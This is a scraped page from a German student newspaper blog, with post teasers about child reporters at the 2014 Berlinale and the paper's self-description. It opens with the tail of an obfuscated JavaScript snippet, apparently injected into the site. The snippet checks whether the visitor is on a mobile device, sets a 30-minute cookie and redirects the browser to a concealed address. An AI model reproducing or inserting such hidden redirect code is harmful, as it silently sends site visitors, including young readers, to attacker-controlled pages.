ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

29. April 2014by Svenja
FacebookTwitterPinterestGoogle +Stumbleupon
alle Artikel, Berühmt, Filme machen

Bärenstark

junge Reporter und Reporterinnen auf der Berlinale

Bärenstark

Bärenstark sind Kinder- und Jugendreporter auf der Berlinale 2014. Bärenstark – Ein Volltreffer Spezial rund um das größte Filmfestival Berlins.

20. März 2014by Sharon
FacebookTwitterPinterestGoogle +Stumbleupon
Page 12 of 12« First...«9101112

Digga – Die elektronische Schülerzeitung

Wir sind eine freie und offene Schülerredaktion im Alter von 8 bis 18 Jahren. Wir berichten über Themen, die uns interessieren und versuchen die vielen Fragen, die wir uns über die Welt stellen, auf unsere Art zu beantworten.

Folge Uns

Zwischen Löwenkindern und Essstäbchen – YouTuber und wir

Oh, du bist du hetero?! – Webreportage

Was ist was? – Auf der Media Convention 2017

“I started with Brixton to provide you with daily fresh new ideas about trends. It is a very clean and elegant Wordpress Theme suitable for every blogger. Perfect for sharing your lifestyle.”